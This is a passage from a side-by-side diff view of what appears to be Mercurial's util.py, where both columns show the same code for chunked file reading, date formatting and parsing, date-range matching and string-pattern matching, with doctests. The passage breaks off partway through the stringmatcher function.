1772 | # refill the queue | |
1773 | if not queue: |
|
1773 | if not queue: | |
1774 | target = 2**18 |
|
1774 | target = 2**18 | |
1775 | for chunk in self.iter: |
|
1775 | for chunk in self.iter: | |
1776 | queue.append(chunk) |
|
1776 | queue.append(chunk) | |
1777 | target -= len(chunk) |
|
1777 | target -= len(chunk) | |
1778 | if target <= 0: |
|
1778 | if target <= 0: | |
1779 | break |
|
1779 | break | |
1780 | if not queue: |
|
1780 | if not queue: | |
1781 | break |
|
1781 | break | |
1782 |
|
1782 | |||
1783 | # The easy way to do this would be to queue.popleft(), modify the |
|
1783 | # The easy way to do this would be to queue.popleft(), modify the | |
1784 | # chunk (if necessary), then queue.appendleft(). However, for cases |
|
1784 | # chunk (if necessary), then queue.appendleft(). However, for cases | |
1785 | # where we read partial chunk content, this incurs 2 dequeue |
|
1785 | # where we read partial chunk content, this incurs 2 dequeue | |
1786 | # mutations and creates a new str for the remaining chunk in the |
|
1786 | # mutations and creates a new str for the remaining chunk in the | |
1787 | # queue. Our code below avoids this overhead. |
|
1787 | # queue. Our code below avoids this overhead. | |
1788 |
|
1788 | |||
1789 | chunk = queue[0] |
|
1789 | chunk = queue[0] | |
1790 | chunkl = len(chunk) |
|
1790 | chunkl = len(chunk) | |
1791 | offset = self._chunkoffset |
|
1791 | offset = self._chunkoffset | |
1792 |
|
1792 | |||
1793 | # Use full chunk. |
|
1793 | # Use full chunk. | |
1794 | if offset == 0 and left >= chunkl: |
|
1794 | if offset == 0 and left >= chunkl: | |
1795 | left -= chunkl |
|
1795 | left -= chunkl | |
1796 | queue.popleft() |
|
1796 | queue.popleft() | |
1797 | buf.append(chunk) |
|
1797 | buf.append(chunk) | |
1798 | # self._chunkoffset remains at 0. |
|
1798 | # self._chunkoffset remains at 0. | |
1799 | continue |
|
1799 | continue | |
1800 |
|
1800 | |||
1801 | chunkremaining = chunkl - offset |
|
1801 | chunkremaining = chunkl - offset | |
1802 |
|
1802 | |||
1803 | # Use all of unconsumed part of chunk. |
|
1803 | # Use all of unconsumed part of chunk. | |
1804 | if left >= chunkremaining: |
|
1804 | if left >= chunkremaining: | |
1805 | left -= chunkremaining |
|
1805 | left -= chunkremaining | |
1806 | queue.popleft() |
|
1806 | queue.popleft() | |
1807 | # offset == 0 is enabled by block above, so this won't merely |
|
1807 | # offset == 0 is enabled by block above, so this won't merely | |
1808 | # copy via ``chunk[0:]``. |
|
1808 | # copy via ``chunk[0:]``. | |
1809 | buf.append(chunk[offset:]) |
|
1809 | buf.append(chunk[offset:]) | |
1810 | self._chunkoffset = 0 |
|
1810 | self._chunkoffset = 0 | |
1811 |
|
1811 | |||
1812 | # Partial chunk needed. |
|
1812 | # Partial chunk needed. | |
1813 | else: |
|
1813 | else: | |
1814 | buf.append(chunk[offset:offset + left]) |
|
1814 | buf.append(chunk[offset:offset + left]) | |
1815 | self._chunkoffset += left |
|
1815 | self._chunkoffset += left | |
1816 | left -= chunkremaining |
|
1816 | left -= chunkremaining | |
1817 |
|
1817 | |||
1818 | return ''.join(buf) |
|
1818 | return ''.join(buf) | |
1819 |
|
1819 | |||
1820 | def filechunkiter(f, size=131072, limit=None): |
|
1820 | def filechunkiter(f, size=131072, limit=None): | |
1821 | """Create a generator that produces the data in the file size |
|
1821 | """Create a generator that produces the data in the file size | |
1822 | (default 131072) bytes at a time, up to optional limit (default is |
|
1822 | (default 131072) bytes at a time, up to optional limit (default is | |
1823 | to read all data). Chunks may be less than size bytes if the |
|
1823 | to read all data). Chunks may be less than size bytes if the | |
1824 | chunk is the last chunk in the file, or the file is a socket or |
|
1824 | chunk is the last chunk in the file, or the file is a socket or | |
1825 | some other type of file that sometimes reads less data than is |
|
1825 | some other type of file that sometimes reads less data than is | |
1826 | requested.""" |
|
1826 | requested.""" | |
1827 | assert size >= 0 |
|
1827 | assert size >= 0 | |
1828 | assert limit is None or limit >= 0 |
|
1828 | assert limit is None or limit >= 0 | |
1829 | while True: |
|
1829 | while True: | |
1830 | if limit is None: |
|
1830 | if limit is None: | |
1831 | nbytes = size |
|
1831 | nbytes = size | |
1832 | else: |
|
1832 | else: | |
1833 | nbytes = min(limit, size) |
|
1833 | nbytes = min(limit, size) | |
1834 | s = nbytes and f.read(nbytes) |
|
1834 | s = nbytes and f.read(nbytes) | |
1835 | if not s: |
|
1835 | if not s: | |
1836 | break |
|
1836 | break | |
1837 | if limit: |
|
1837 | if limit: | |
1838 | limit -= len(s) |
|
1838 | limit -= len(s) | |
1839 | yield s |
|
1839 | yield s | |
1840 |
|
1840 | |||
1841 | def makedate(timestamp=None): |
|
1841 | def makedate(timestamp=None): | |
1842 | '''Return a unix timestamp (or the current time) as a (unixtime, |
|
1842 | '''Return a unix timestamp (or the current time) as a (unixtime, | |
1843 | offset) tuple based off the local timezone.''' |
|
1843 | offset) tuple based off the local timezone.''' | |
1844 | if timestamp is None: |
|
1844 | if timestamp is None: | |
1845 | timestamp = time.time() |
|
1845 | timestamp = time.time() | |
1846 | if timestamp < 0: |
|
1846 | if timestamp < 0: | |
1847 | hint = _("check your clock") |
|
1847 | hint = _("check your clock") | |
1848 | raise Abort(_("negative timestamp: %d") % timestamp, hint=hint) |
|
1848 | raise Abort(_("negative timestamp: %d") % timestamp, hint=hint) | |
1849 | delta = (datetime.datetime.utcfromtimestamp(timestamp) - |
|
1849 | delta = (datetime.datetime.utcfromtimestamp(timestamp) - | |
1850 | datetime.datetime.fromtimestamp(timestamp)) |
|
1850 | datetime.datetime.fromtimestamp(timestamp)) | |
1851 | tz = delta.days * 86400 + delta.seconds |
|
1851 | tz = delta.days * 86400 + delta.seconds | |
1852 | return timestamp, tz |
|
1852 | return timestamp, tz | |
1853 |
|
1853 | |||
1854 | def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'): |
|
1854 | def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'): | |
1855 | """represent a (unixtime, offset) tuple as a localized time. |
|
1855 | """represent a (unixtime, offset) tuple as a localized time. | |
1856 | unixtime is seconds since the epoch, and offset is the time zone's |
|
1856 | unixtime is seconds since the epoch, and offset is the time zone's | |
1857 | number of seconds away from UTC. |
|
1857 | number of seconds away from UTC. | |
1858 |
|
1858 | |||
1859 | >>> datestr((0, 0)) |
|
1859 | >>> datestr((0, 0)) | |
1860 | 'Thu Jan 01 00:00:00 1970 +0000' |
|
1860 | 'Thu Jan 01 00:00:00 1970 +0000' | |
1861 | >>> datestr((42, 0)) |
|
1861 | >>> datestr((42, 0)) | |
1862 | 'Thu Jan 01 00:00:42 1970 +0000' |
|
1862 | 'Thu Jan 01 00:00:42 1970 +0000' | |
1863 | >>> datestr((-42, 0)) |
|
1863 | >>> datestr((-42, 0)) | |
1864 | 'Wed Dec 31 23:59:18 1969 +0000' |
|
1864 | 'Wed Dec 31 23:59:18 1969 +0000' | |
1865 | >>> datestr((0x7fffffff, 0)) |
|
1865 | >>> datestr((0x7fffffff, 0)) | |
1866 | 'Tue Jan 19 03:14:07 2038 +0000' |
|
1866 | 'Tue Jan 19 03:14:07 2038 +0000' | |
1867 | >>> datestr((-0x80000000, 0)) |
|
1867 | >>> datestr((-0x80000000, 0)) | |
1868 | 'Fri Dec 13 20:45:52 1901 +0000' |
|
1868 | 'Fri Dec 13 20:45:52 1901 +0000' | |
1869 | """ |
|
1869 | """ | |
1870 | t, tz = date or makedate() |
|
1870 | t, tz = date or makedate() | |
1871 | if "%1" in format or "%2" in format or "%z" in format: |
|
1871 | if "%1" in format or "%2" in format or "%z" in format: | |
1872 | sign = (tz > 0) and "-" or "+" |
|
1872 | sign = (tz > 0) and "-" or "+" | |
1873 | minutes = abs(tz) // 60 |
|
1873 | minutes = abs(tz) // 60 | |
1874 | q, r = divmod(minutes, 60) |
|
1874 | q, r = divmod(minutes, 60) | |
1875 | format = format.replace("%z", "%1%2") |
|
1875 | format = format.replace("%z", "%1%2") | |
1876 | format = format.replace("%1", "%c%02d" % (sign, q)) |
|
1876 | format = format.replace("%1", "%c%02d" % (sign, q)) | |
1877 | format = format.replace("%2", "%02d" % r) |
|
1877 | format = format.replace("%2", "%02d" % r) | |
1878 | d = t - tz |
|
1878 | d = t - tz | |
1879 | if d > 0x7fffffff: |
|
1879 | if d > 0x7fffffff: | |
1880 | d = 0x7fffffff |
|
1880 | d = 0x7fffffff | |
1881 | elif d < -0x80000000: |
|
1881 | elif d < -0x80000000: | |
1882 | d = -0x80000000 |
|
1882 | d = -0x80000000 | |
1883 | # Never use time.gmtime() and datetime.datetime.fromtimestamp() |
|
1883 | # Never use time.gmtime() and datetime.datetime.fromtimestamp() | |
1884 | # because they use the gmtime() system call which is buggy on Windows |
|
1884 | # because they use the gmtime() system call which is buggy on Windows | |
1885 | # for negative values. |
|
1885 | # for negative values. | |
1886 | t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d) |
|
1886 | t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d) | |
1887 | s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format))) |
|
1887 | s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format))) | |
1888 | return s |
|
1888 | return s | |
1889 |
|
1889 | |||
1890 | def shortdate(date=None): |
|
1890 | def shortdate(date=None): | |
1891 | """turn (timestamp, tzoff) tuple into iso 8631 date.""" |
|
1891 | """turn (timestamp, tzoff) tuple into iso 8631 date.""" | |
1892 | return datestr(date, format='%Y-%m-%d') |
|
1892 | return datestr(date, format='%Y-%m-%d') | |
1893 |
|
1893 | |||
1894 | def parsetimezone(s): |
|
1894 | def parsetimezone(s): | |
1895 | """find a trailing timezone, if any, in string, and return a |
|
1895 | """find a trailing timezone, if any, in string, and return a | |
1896 | (offset, remainder) pair""" |
|
1896 | (offset, remainder) pair""" | |
1897 |
|
1897 | |||
1898 | if s.endswith("GMT") or s.endswith("UTC"): |
|
1898 | if s.endswith("GMT") or s.endswith("UTC"): | |
1899 | return 0, s[:-3].rstrip() |
|
1899 | return 0, s[:-3].rstrip() | |
1900 |
|
1900 | |||
1901 | # Unix-style timezones [+-]hhmm |
|
1901 | # Unix-style timezones [+-]hhmm | |
1902 | if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit(): |
|
1902 | if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit(): | |
1903 | sign = (s[-5] == "+") and 1 or -1 |
|
1903 | sign = (s[-5] == "+") and 1 or -1 | |
1904 | hours = int(s[-4:-2]) |
|
1904 | hours = int(s[-4:-2]) | |
1905 | minutes = int(s[-2:]) |
|
1905 | minutes = int(s[-2:]) | |
1906 | return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip() |
|
1906 | return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip() | |
1907 |
|
1907 | |||
1908 | # ISO8601 trailing Z |
|
1908 | # ISO8601 trailing Z | |
1909 | if s.endswith("Z") and s[-2:-1].isdigit(): |
|
1909 | if s.endswith("Z") and s[-2:-1].isdigit(): | |
1910 | return 0, s[:-1] |
|
1910 | return 0, s[:-1] | |
1911 |
|
1911 | |||
1912 | # ISO8601-style [+-]hh:mm |
|
1912 | # ISO8601-style [+-]hh:mm | |
1913 | if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and |
|
1913 | if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and | |
1914 | s[-5:-3].isdigit() and s[-2:].isdigit()): |
|
1914 | s[-5:-3].isdigit() and s[-2:].isdigit()): | |
1915 | sign = (s[-6] == "+") and 1 or -1 |
|
1915 | sign = (s[-6] == "+") and 1 or -1 | |
1916 | hours = int(s[-5:-3]) |
|
1916 | hours = int(s[-5:-3]) | |
1917 | minutes = int(s[-2:]) |
|
1917 | minutes = int(s[-2:]) | |
1918 | return -sign * (hours * 60 + minutes) * 60, s[:-6] |
|
1918 | return -sign * (hours * 60 + minutes) * 60, s[:-6] | |
1919 |
|
1919 | |||
1920 | return None, s |
|
1920 | return None, s | |
1921 |
|
1921 | |||
1922 | def strdate(string, format, defaults=None): |
|
1922 | def strdate(string, format, defaults=None): | |
1923 | """parse a localized time string and return a (unixtime, offset) tuple. |
|
1923 | """parse a localized time string and return a (unixtime, offset) tuple. | |
1924 | if the string cannot be parsed, ValueError is raised.""" |
|
1924 | if the string cannot be parsed, ValueError is raised.""" | |
1925 | if defaults is None: |
|
1925 | if defaults is None: | |
1926 | defaults = {} |
|
1926 | defaults = {} | |
1927 |
|
1927 | |||
1928 | # NOTE: unixtime = localunixtime + offset |
|
1928 | # NOTE: unixtime = localunixtime + offset | |
1929 | offset, date = parsetimezone(string) |
|
1929 | offset, date = parsetimezone(string) | |
1930 |
|
1930 | |||
1931 | # add missing elements from defaults |
|
1931 | # add missing elements from defaults | |
1932 | usenow = False # default to using biased defaults |
|
1932 | usenow = False # default to using biased defaults | |
1933 | for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity |
|
1933 | for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity | |
1934 | part = pycompat.bytestr(part) |
|
1934 | part = pycompat.bytestr(part) | |
1935 | found = [True for p in part if ("%"+p) in format] |
|
1935 | found = [True for p in part if ("%"+p) in format] | |
1936 | if not found: |
|
1936 | if not found: | |
1937 | date += "@" + defaults[part][usenow] |
|
1937 | date += "@" + defaults[part][usenow] | |
1938 | format += "@%" + part[0] |
|
1938 | format += "@%" + part[0] | |
1939 | else: |
|
1939 | else: | |
1940 | # We've found a specific time element, less specific time |
|
1940 | # We've found a specific time element, less specific time | |
1941 | # elements are relative to today |
|
1941 | # elements are relative to today | |
1942 | usenow = True |
|
1942 | usenow = True | |
1943 |
|
1943 | |||
1944 | timetuple = time.strptime(encoding.strfromlocal(date), |
|
1944 | timetuple = time.strptime(encoding.strfromlocal(date), | |
1945 | encoding.strfromlocal(format)) |
|
1945 | encoding.strfromlocal(format)) | |
1946 | localunixtime = int(calendar.timegm(timetuple)) |
|
1946 | localunixtime = int(calendar.timegm(timetuple)) | |
1947 | if offset is None: |
|
1947 | if offset is None: | |
1948 | # local timezone |
|
1948 | # local timezone | |
1949 | unixtime = int(time.mktime(timetuple)) |
|
1949 | unixtime = int(time.mktime(timetuple)) | |
1950 | offset = unixtime - localunixtime |
|
1950 | offset = unixtime - localunixtime | |
1951 | else: |
|
1951 | else: | |
1952 | unixtime = localunixtime + offset |
|
1952 | unixtime = localunixtime + offset | |
1953 | return unixtime, offset |
|
1953 | return unixtime, offset | |
1954 |
|
1954 | |||
1955 | def parsedate(date, formats=None, bias=None): |
|
1955 | def parsedate(date, formats=None, bias=None): | |
1956 | """parse a localized date/time and return a (unixtime, offset) tuple. |
|
1956 | """parse a localized date/time and return a (unixtime, offset) tuple. | |
1957 |
|
1957 | |||
1958 | The date may be a "unixtime offset" string or in one of the specified |
|
1958 | The date may be a "unixtime offset" string or in one of the specified | |
1959 | formats. If the date already is a (unixtime, offset) tuple, it is returned. |
|
1959 | formats. If the date already is a (unixtime, offset) tuple, it is returned. | |
1960 |
|
1960 | |||
1961 | >>> parsedate(' today ') == parsedate(\ |
|
1961 | >>> parsedate(' today ') == parsedate(\ | |
1962 | datetime.date.today().strftime('%b %d')) |
|
1962 | datetime.date.today().strftime('%b %d')) | |
1963 | True |
|
1963 | True | |
1964 | >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\ |
|
1964 | >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\ | |
1965 | datetime.timedelta(days=1)\ |
|
1965 | datetime.timedelta(days=1)\ | |
1966 | ).strftime('%b %d')) |
|
1966 | ).strftime('%b %d')) | |
1967 | True |
|
1967 | True | |
1968 | >>> now, tz = makedate() |
|
1968 | >>> now, tz = makedate() | |
1969 | >>> strnow, strtz = parsedate('now') |
|
1969 | >>> strnow, strtz = parsedate('now') | |
1970 | >>> (strnow - now) < 1 |
|
1970 | >>> (strnow - now) < 1 | |
1971 | True |
|
1971 | True | |
1972 | >>> tz == strtz |
|
1972 | >>> tz == strtz | |
1973 | True |
|
1973 | True | |
1974 | """ |
|
1974 | """ | |
1975 | if bias is None: |
|
1975 | if bias is None: | |
1976 | bias = {} |
|
1976 | bias = {} | |
1977 | if not date: |
|
1977 | if not date: | |
1978 | return 0, 0 |
|
1978 | return 0, 0 | |
1979 | if isinstance(date, tuple) and len(date) == 2: |
|
1979 | if isinstance(date, tuple) and len(date) == 2: | |
1980 | return date |
|
1980 | return date | |
1981 | if not formats: |
|
1981 | if not formats: | |
1982 | formats = defaultdateformats |
|
1982 | formats = defaultdateformats | |
1983 | date = date.strip() |
|
1983 | date = date.strip() | |
1984 |
|
1984 | |||
1985 | if date == 'now' or date == _('now'): |
|
1985 | if date == 'now' or date == _('now'): | |
1986 | return makedate() |
|
1986 | return makedate() | |
1987 | if date == 'today' or date == _('today'): |
|
1987 | if date == 'today' or date == _('today'): | |
1988 | date = datetime.date.today().strftime('%b %d') |
|
1988 | date = datetime.date.today().strftime('%b %d') | |
1989 | elif date == 'yesterday' or date == _('yesterday'): |
|
1989 | elif date == 'yesterday' or date == _('yesterday'): | |
1990 | date = (datetime.date.today() - |
|
1990 | date = (datetime.date.today() - | |
1991 | datetime.timedelta(days=1)).strftime('%b %d') |
|
1991 | datetime.timedelta(days=1)).strftime('%b %d') | |
1992 |
|
1992 | |||
1993 | try: |
|
1993 | try: | |
1994 | when, offset = map(int, date.split(' ')) |
|
1994 | when, offset = map(int, date.split(' ')) | |
1995 | except ValueError: |
|
1995 | except ValueError: | |
1996 | # fill out defaults |
|
1996 | # fill out defaults | |
1997 | now = makedate() |
|
1997 | now = makedate() | |
1998 | defaults = {} |
|
1998 | defaults = {} | |
1999 | for part in ("d", "mb", "yY", "HI", "M", "S"): |
|
1999 | for part in ("d", "mb", "yY", "HI", "M", "S"): | |
2000 | # this piece is for rounding the specific end of unknowns |
|
2000 | # this piece is for rounding the specific end of unknowns | |
2001 | b = bias.get(part) |
|
2001 | b = bias.get(part) | |
2002 | if b is None: |
|
2002 | if b is None: | |
2003 | if part[0:1] in "HMS": |
|
2003 | if part[0:1] in "HMS": | |
2004 | b = "00" |
|
2004 | b = "00" | |
2005 | else: |
|
2005 | else: | |
2006 | b = "0" |
|
2006 | b = "0" | |
2007 |
|
2007 | |||
2008 | # this piece is for matching the generic end to today's date |
|
2008 | # this piece is for matching the generic end to today's date | |
2009 | n = datestr(now, "%" + part[0:1]) |
|
2009 | n = datestr(now, "%" + part[0:1]) | |
2010 |
|
2010 | |||
2011 | defaults[part] = (b, n) |
|
2011 | defaults[part] = (b, n) | |
2012 |
|
2012 | |||
2013 | for format in formats: |
|
2013 | for format in formats: | |
2014 | try: |
|
2014 | try: | |
2015 | when, offset = strdate(date, format, defaults) |
|
2015 | when, offset = strdate(date, format, defaults) | |
2016 | except (ValueError, OverflowError): |
|
2016 | except (ValueError, OverflowError): | |
2017 | pass |
|
2017 | pass | |
2018 | else: |
|
2018 | else: | |
2019 | break |
|
2019 | break | |
2020 | else: |
|
2020 | else: | |
2021 | raise error.ParseError(_('invalid date: %r') % date) |
|
2021 | raise error.ParseError(_('invalid date: %r') % date) | |
2022 | # validate explicit (probably user-specified) date and |
|
2022 | # validate explicit (probably user-specified) date and | |
2023 | # time zone offset. values must fit in signed 32 bits for |
|
2023 | # time zone offset. values must fit in signed 32 bits for | |
2024 | # current 32-bit linux runtimes. timezones go from UTC-12 |
|
2024 | # current 32-bit linux runtimes. timezones go from UTC-12 | |
2025 | # to UTC+14 |
|
2025 | # to UTC+14 | |
2026 | if when < -0x80000000 or when > 0x7fffffff: |
|
2026 | if when < -0x80000000 or when > 0x7fffffff: | |
2027 | raise error.ParseError(_('date exceeds 32 bits: %d') % when) |
|
2027 | raise error.ParseError(_('date exceeds 32 bits: %d') % when) | |
2028 | if offset < -50400 or offset > 43200: |
|
2028 | if offset < -50400 or offset > 43200: | |
2029 | raise error.ParseError(_('impossible time zone offset: %d') % offset) |
|
2029 | raise error.ParseError(_('impossible time zone offset: %d') % offset) | |
2030 | return when, offset |
|
2030 | return when, offset | |
2031 |
|
2031 | |||
2032 | def matchdate(date): |
|
2032 | def matchdate(date): | |
2033 | """Return a function that matches a given date match specifier |
|
2033 | """Return a function that matches a given date match specifier | |
2034 |
|
2034 | |||
2035 | Formats include: |
|
2035 | Formats include: | |
2036 |
|
2036 | |||
2037 | '{date}' match a given date to the accuracy provided |
|
2037 | '{date}' match a given date to the accuracy provided | |
2038 |
|
2038 | |||
2039 | '<{date}' on or before a given date |
|
2039 | '<{date}' on or before a given date | |
2040 |
|
2040 | |||
2041 | '>{date}' on or after a given date |
|
2041 | '>{date}' on or after a given date | |
2042 |
|
2042 | |||
2043 | >>> p1 = parsedate("10:29:59") |
|
2043 | >>> p1 = parsedate("10:29:59") | |
2044 | >>> p2 = parsedate("10:30:00") |
|
2044 | >>> p2 = parsedate("10:30:00") | |
2045 | >>> p3 = parsedate("10:30:59") |
|
2045 | >>> p3 = parsedate("10:30:59") | |
2046 | >>> p4 = parsedate("10:31:00") |
|
2046 | >>> p4 = parsedate("10:31:00") | |
2047 | >>> p5 = parsedate("Sep 15 10:30:00 1999") |
|
2047 | >>> p5 = parsedate("Sep 15 10:30:00 1999") | |
2048 | >>> f = matchdate("10:30") |
|
2048 | >>> f = matchdate("10:30") | |
2049 | >>> f(p1[0]) |
|
2049 | >>> f(p1[0]) | |
2050 | False |
|
2050 | False | |
2051 | >>> f(p2[0]) |
|
2051 | >>> f(p2[0]) | |
2052 | True |
|
2052 | True | |
2053 | >>> f(p3[0]) |
|
2053 | >>> f(p3[0]) | |
2054 | True |
|
2054 | True | |
2055 | >>> f(p4[0]) |
|
2055 | >>> f(p4[0]) | |
2056 | False |
|
2056 | False | |
2057 | >>> f(p5[0]) |
|
2057 | >>> f(p5[0]) | |
2058 | False |
|
2058 | False | |
2059 | """ |
|
2059 | """ | |
2060 |
|
2060 | |||
2061 | def lower(date): |
|
2061 | def lower(date): | |
2062 | d = {'mb': "1", 'd': "1"} |
|
2062 | d = {'mb': "1", 'd': "1"} | |
2063 | return parsedate(date, extendeddateformats, d)[0] |
|
2063 | return parsedate(date, extendeddateformats, d)[0] | |
2064 |
|
2064 | |||
2065 | def upper(date): |
|
2065 | def upper(date): | |
2066 | d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"} |
|
2066 | d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"} | |
2067 | for days in ("31", "30", "29"): |
|
2067 | for days in ("31", "30", "29"): | |
2068 | try: |
|
2068 | try: | |
2069 | d["d"] = days |
|
2069 | d["d"] = days | |
2070 | return parsedate(date, extendeddateformats, d)[0] |
|
2070 | return parsedate(date, extendeddateformats, d)[0] | |
2071 | except Abort: |
|
2071 | except Abort: | |
2072 | pass |
|
2072 | pass | |
2073 | d["d"] = "28" |
|
2073 | d["d"] = "28" | |
2074 | return parsedate(date, extendeddateformats, d)[0] |
|
2074 | return parsedate(date, extendeddateformats, d)[0] | |
2075 |
|
2075 | |||
2076 | date = date.strip() |
|
2076 | date = date.strip() | |
2077 |
|
2077 | |||
2078 | if not date: |
|
2078 | if not date: | |
2079 | raise Abort(_("dates cannot consist entirely of whitespace")) |
|
2079 | raise Abort(_("dates cannot consist entirely of whitespace")) | |
2080 | elif date[0] == "<": |
|
2080 | elif date[0] == "<": | |
2081 | if not date[1:]: |
|
2081 | if not date[1:]: | |
2082 | raise Abort(_("invalid day spec, use '<DATE'")) |
|
2082 | raise Abort(_("invalid day spec, use '<DATE'")) | |
2083 | when = upper(date[1:]) |
|
2083 | when = upper(date[1:]) | |
2084 | return lambda x: x <= when |
|
2084 | return lambda x: x <= when | |
2085 | elif date[0] == ">": |
|
2085 | elif date[0] == ">": | |
2086 | if not date[1:]: |
|
2086 | if not date[1:]: | |
2087 | raise Abort(_("invalid day spec, use '>DATE'")) |
|
2087 | raise Abort(_("invalid day spec, use '>DATE'")) | |
2088 | when = lower(date[1:]) |
|
2088 | when = lower(date[1:]) | |
2089 | return lambda x: x >= when |
|
2089 | return lambda x: x >= when | |
2090 | elif date[0] == "-": |
|
2090 | elif date[0] == "-": | |
2091 | try: |
|
2091 | try: | |
2092 | days = int(date[1:]) |
|
2092 | days = int(date[1:]) | |
2093 | except ValueError: |
|
2093 | except ValueError: | |
2094 | raise Abort(_("invalid day spec: %s") % date[1:]) |
|
2094 | raise Abort(_("invalid day spec: %s") % date[1:]) | |
2095 | if days < 0: |
|
2095 | if days < 0: | |
2096 | raise Abort(_("%s must be nonnegative (see 'hg help dates')") |
|
2096 | raise Abort(_("%s must be nonnegative (see 'hg help dates')") | |
2097 | % date[1:]) |
|
2097 | % date[1:]) | |
2098 | when = makedate()[0] - days * 3600 * 24 |
|
2098 | when = makedate()[0] - days * 3600 * 24 | |
2099 | return lambda x: x >= when |
|
2099 | return lambda x: x >= when | |
2100 | elif " to " in date: |
|
2100 | elif " to " in date: | |
2101 | a, b = date.split(" to ") |
|
2101 | a, b = date.split(" to ") | |
2102 | start, stop = lower(a), upper(b) |
|
2102 | start, stop = lower(a), upper(b) | |
2103 | return lambda x: x >= start and x <= stop |
|
2103 | return lambda x: x >= start and x <= stop | |
2104 | else: |
|
2104 | else: | |
2105 | start, stop = lower(date), upper(date) |
|
2105 | start, stop = lower(date), upper(date) | |
2106 | return lambda x: x >= start and x <= stop |
|
2106 | return lambda x: x >= start and x <= stop | |
2107 |
|
2107 | |||
2108 | def stringmatcher(pattern, casesensitive=True): |
|
2108 | def stringmatcher(pattern, casesensitive=True): | |
2109 | """ |
|
2109 | """ | |
2110 | accepts a string, possibly starting with 're:' or 'literal:' prefix. |
|
2110 | accepts a string, possibly starting with 're:' or 'literal:' prefix. | |
2111 | returns the matcher name, pattern, and matcher function. |
|
2111 | returns the matcher name, pattern, and matcher function. | |
2112 | missing or unknown prefixes are treated as literal matches. |
|
2112 | missing or unknown prefixes are treated as literal matches. | |
2113 |
|
2113 | |||
2114 | helper for tests: |
|
2114 | helper for tests: | |
2115 | >>> def test(pattern, *tests): |
|
2115 | >>> def test(pattern, *tests): | |
2116 | ... kind, pattern, matcher = stringmatcher(pattern) |
|
2116 | ... kind, pattern, matcher = stringmatcher(pattern) | |
2117 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
|
2117 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) | |
2118 | >>> def itest(pattern, *tests): |
|
2118 | >>> def itest(pattern, *tests): | |
2119 | ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False) |
|
2119 | ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False) | |
2120 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
|
2120 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) | |
2121 |
|
2121 | |||
2122 | exact matching (no prefix): |
|
2122 | exact matching (no prefix): | |
2123 | >>> test('abcdefg', 'abc', 'def', 'abcdefg') |
|
2123 | >>> test('abcdefg', 'abc', 'def', 'abcdefg') | |
2124 | ('literal', 'abcdefg', [False, False, True]) |
|
2124 | ('literal', 'abcdefg', [False, False, True]) | |
2125 |
|
2125 | |||
2126 | regex matching ('re:' prefix) |
|
2126 | regex matching ('re:' prefix) | |
2127 | >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar') |
|
2127 | >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar') | |
2128 | ('re', 'a.+b', [False, False, True]) |
|
2128 | ('re', 'a.+b', [False, False, True]) | |
2129 |
|
2129 | |||
2130 | force exact matches ('literal:' prefix) |
|
2130 | force exact matches ('literal:' prefix) | |
2131 | >>> test('literal:re:foobar', 'foobar', 're:foobar') |
|
2131 | >>> test('literal:re:foobar', 'foobar', 're:foobar') | |
2132 | ('literal', 're:foobar', [False, True]) |
|
2132 | ('literal', 're:foobar', [False, True]) | |
2133 |
|
2133 | |||
2134 | unknown prefixes are ignored and treated as literals |
|
2134 | unknown prefixes are ignored and treated as literals | |
2135 | >>> test('foo:bar', 'foo', 'bar', 'foo:bar') |
|
2135 | >>> test('foo:bar', 'foo', 'bar', 'foo:bar') | |
2136 | ('literal', 'foo:bar', [False, False, True]) |
|
2136 | ('literal', 'foo:bar', [False, False, True]) | |
2137 |
|
2137 | |||
2138 | case insensitive regex matches |
|
2138 | case insensitive regex matches | |
2139 | >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar') |
|
2139 | >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar') | |
2140 | ('re', 'A.+b', [False, False, True]) |
|
2140 | ('re', 'A.+b', [False, False, True]) | |
2141 |
|
2141 | |||
2142 | case insensitive literal matches |
|
2142 | case insensitive literal matches | |
2143 | >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg') |
|
2143 | >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg') | |
2144 | ('literal', 'ABCDEFG', [False, False, True]) |
|
2144 | ('literal', 'ABCDEFG', [False, False, True]) | |
2145 | """ |
|
2145 | """ | |
2146 | if pattern.startswith('re:'): |
|
2146 | if pattern.startswith('re:'): | |
2147 | pattern = pattern[3:] |
|
2147 | pattern = pattern[3:] | |
2148 | try: |
|
2148 | try: | |
2149 | flags = 0 |
|
2149 | flags = 0 | |
2150 | if not casesensitive: |
|
2150 | if not casesensitive: | |
2151 | flags = remod.I |
|
2151 | flags = remod.I | |
2152 | regex = remod.compile(pattern, flags) |
|
2152 | regex = remod.compile(pattern, flags) | |
2153 | except remod.error as e: |
|
2153 | except remod.error as e: | |
2154 | raise error.ParseError(_('invalid regular expression: %s') |
|
2154 | raise error.ParseError(_('invalid regular expression: %s') | |
2155 | % e) |
|
2155 | % e) | |
2156 | return 're', pattern, regex.search |
|
2156 | return 're', pattern, regex.search | |
2157 | elif pattern.startswith('literal:'): |
|
